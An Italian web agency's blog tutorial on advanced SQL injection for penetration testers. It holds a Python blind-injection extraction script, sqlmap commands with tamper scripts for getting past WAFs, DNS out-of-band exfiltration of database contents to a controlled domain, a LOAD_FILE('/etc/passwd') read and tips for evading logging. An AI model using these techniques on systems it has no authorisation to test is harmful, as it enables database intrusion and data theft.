SQL Injection Avanzato — sqlmap e Exploitation Manuale per Superare WAF e Blind
> cd .. / HUB_EDITORIALE > Visualizza in Inglese
Sicurezza Informatica

SQL Injection Avanzato — sqlmap e Exploitation Manuale per Superare WAF e Blind

[2026-07-17] Author: Ing. Calogero Bono
> condividi
Zenithby Meteora Web Il sistema operativo della tua attività. Social, clienti, prenotazioni e fatture in un'unica piattaforma. Palestre, barber, professionisti. Scopri Zenith Demo gratis · senza carta

Il tuo pentest è fermo su un parametro che non risponde a ' OR 1=1--. Sei sicuro sia protetto? Noi, di Meteora Web, lo abbiamo visto decine di volte: una query che sembra invulnerabile nasconde una blind SQL injection lenta ma letale. Oppure un WAF blocca le richieste di sqlmap con il default, ma un paio di tamper script bastano per aggirarlo. In questa guida operativa partiamo dal problema concreto: come sfruttare un SQL injection quando i metodi base non funzionano. Niente teoria accademica — solo tecniche collaudate su server reali, incluse le nostre esperienze con clienti che sottovalutavano la sicurezza delle loro API.

Qual è la differenza tra sqlmap e exploitation manuale?

La risposta è semplice: sqlmap automatizza, l'uomo sceglie la strategia. Con sqlmap puoi lanciare un attacco completo in pochi secondi, ma se il target ha un WAF personalizzato, un rate limiting o un filtro sugli header, lo strumento va configurato. Noi usiamo sqlmap per la fase di ricognizione e dumping rapido, ma quando il database è sensibile (es. credenziali admin, token JWT), passiamo alla manuale perché è più fine e silenziosa. La manuale richiede comprensione del linguaggio SQL del DBMS (MySQL, PostgreSQL, MSSQL) e delle funzioni di sistema. Per esempio, in una blind booleana, invece di sparare payload a caso, noi costruiamo una substring(version(),1,1)='8' per estrarre un bit alla volta. Con sqlmap puoi fare lo stesso via --technique=B --string, ma se il filtro cambia la risposta, meglio scrivere uno script Python one-shot.

Sponsored Protocol

Come si esegue un'analisi manuale di una SQL injection blind?

Partiamo da un caso reale: un endpoint /api/user?id=5 restituisce {"status":"ok"} per un id valido, {"status":"not found"} per inesistente. Proviamo id=5 AND 1=1 -> ok; id=5 AND 1=2 -> not found. Blind booleana confermata. Ora estraiamo la versione di MySQL: id=5 AND SUBSTRING(@@version,1,1)=8 -> ok se la prima cifra è 8. Dobbiamo automatizzare? Noi usiamo un semplice script Python:

import requests

url = "http://target.com/api/user"
charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
output = ""

for pos in range(1, 10):
    for c in charset:
        payload = f"5 AND ASCII(SUBSTRING((SELECT @@version),{pos},1))={ord(c)}"
        r = requests.get(url, params={"id": payload})
        if "ok" in r.text:
            output += c
            break
print(output)

Questo codice estrae carattere per carattere. Ovviamente puoi usare sqlmap --batch -u ... --strings "ok" --not-string "not found" ma con la manuale hai controllo totale. Un errore comune: non gestire i time-out su richieste lente o il caching delle risposte. Noi impostiamo sempre timeout=5 e randomizziamo l'ordine delle richieste per evitare pattern sospetti.

Sponsored Protocol

Come configurare sqlmap per bypassare WAF e filtri?

Il WAF più comune blocca il payload UNION SELECT o le parole chiave OR 1=1. Noi di Meteora Web abbiamo aggirato WAF di ModSecurity, Cloudflare e AWS WAF con queste tecniche:

  • Tamper script: sqlmap include una cartella tamper/ con decine di script. Il nostro preferito per WAF semplici è between (sostituisce > con NOT BETWEEN) o space2comment (spazi in commenti). Lanciare: sqlmap -u "http://target.com/page?id=1" --tamper=space2comment --level=5.
  • Modifica degli header: alcuni WAF controllano lo User-Agent. Usa --random-agent oppure --headers="User-Agent: Mozilla/5.0 ...".
  • Rate limiting e delay: con --delay=2 rallenti le richieste, ma meglio usare --time-sec=5 per time-based e aumentare --retries=2.
  • Out-of-band: se il WAF blocca le risposte HTTP, passa a --technique=O con un server DNS sotto controllo. Esempio: sqlmap -u ... --dbs --dns-domain=tuodominio.xyz --force-dns.

Attenzione: non esiste un tamper universale. Noi testiamo sempre con --proxy=http://127.0.0.1:8080 (Burp Suite) per vedere quali richieste vengono bloccate e modifichiamo il payload manualmente prima di usare sqlmap in automatico.

Sponsored Protocol

Come sfruttare SQL injection out-of-band con sqlmap?

Quando non hai alcuna risposta nel corpo HTTP (né differenziale né temporale), l’unica via è out-of-band (OOB). sqlmap supporta DNS exfiltration e SMB. Noi abbiamo usato questa tecnica per estrarre dati da un database PostgreSQL in una rete interna che non poteva fare connessioni HTTP verso l’esterno, ma risolveva DNS. Configurazione:

  1. Ottieni un dominio che puoi controllare i log DNS (es. via Burp Collaborator o un VPS con tcpdump).
  2. Lancia sqlmap: sqlmap -u "http://target.com/search?q=test" --dns-domain=tuodominio.xyz --technique=O --batch.
  3. Controlla i log DNS: ogni richiesta xyz.attacker.com contiene i dati in esadecimale. Decodifica con un semplice script.

Se il database è MySQL, puoi anche usare SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '...' ma spesso i permessi sono limitati. L’OOB con DNS è più affidabile. Ricorda: il server deve poter risolvere il tuo dominio. In ambienti con DNS interno bloccato, prova via HTTP su una porta non filtrata (es. 53/TCP? raro).

Sponsored Protocol

Quali errori comuni evitare durante l’exploitation avanzata?

Dopo centinaia di test, abbiamo raccolto gli errori che fanno perdere tempo e rischiano di far scattare allarmi:

  • Dimenticare i cookie di sessione: molte applicazioni richiedono autenticazione. Passa --cookie="PHPSESSID=abc123" o usa --auth-type=Bearer --auth-token=....
  • Non distinguere tra injection GET e POST: se il parametro è in POST, usa --data="search=test" e non metterlo nell’URL.
  • Dare per scontato che sia MySQL: ogni DBMS ha sintassi diversa. Per Oracle, UNION SELECT richiede FROM dual. Per MSSQL, usa WAITFOR DELAY. Imposta --dbms=PostgreSQL per evitare payload inutili.
  • Non testare su un ambiente di staging prima: abbiamo visto clienti far crashare il database di produzione con una SELECT BENCHMARK(...) mal gestita. Se non puoi testare, usa --safe-url per far eseguire richieste safe tra i tentativi.
  • Sottovalutare il logging: ogni richiesta può finire nei log di sistema. Aggiungi --randomize=id per cambiare parametri inutili e --skip-urlencode se il server normalizza l’input.

Un consiglio finale: noi usiamo sqlmap con output dettagliato (-v 6) per vedere ogni payload inviato. Poi lo esportiamo e lo analizziamo con grep per capire quali tamper hanno funzionato. Questo ci permette di costruire una configurazione custom per ogni target.

Sponsored Protocol

Cosa fare adesso

Hai letto la teoria, ora passa all’azione. Ecco la checklist per il tuo prossimo pentest SQL injection avanzato:

  1. Identifica il parametro con un semplice ' e osserva la risposta. Se non cambia, prova ", `, parentesi. Non fermarti al primo errore.
  2. Conferma la blind con due condizioni (true/false). Crea uno script Python one-shot per estrarre un carattere. Decidi se procedere manuale o usare sqlmap.
  3. Configura sqlmap con --tamper=between,space2comment, --headers, --delay. Lancia un test veloce con --current-user.
  4. Se il WAF blocca, prova --tamper=charencode o --hex. Se non funziona, passa a OOB con un dominio DNS personalizzato.
  5. Documenta ogni tentativo: salva output con tee sqlmap.log. Analizza i payload bloccati e modifica manualmente.
  6. Estrazione dati: usa --dump con --stop=100 per limitare le righe. Verifica la correttezza con una query manuale via UNION se possibile.

Ricorda: un SQL injection non sfruttato oggi diventa un data breach domani. Noi di Meteora Web trattiamo la sicurezza come un investimento, non un costo. Se vuoi approfondire, leggi la nostra guida pillar sull’Ethical Hacking.

> condividi
Ing. Calogero Bono

> AUTHOR_EXTRACTED

Ing. Calogero Bono

Ingegnere informatico, fondatore di Meteora Web e Zenith OS. System administrator e progettista di piattaforme, app e CMS proprietari, con esperienza in sviluppo full-stack, marketing digitale ed ecosistema Google.
[ Read Full Dossier ]

> METEORA_WEB // WEB AGENCY

Costruiamo la presenza digitale che la tua azienda merita.

Siti web, social, pubblicità online, e-commerce e hosting performante: ingegnerizzati con metodo da ingegneri informatici a Sciacca, per tutta Italia.

> MW_JOURNAL

> READ_ALL()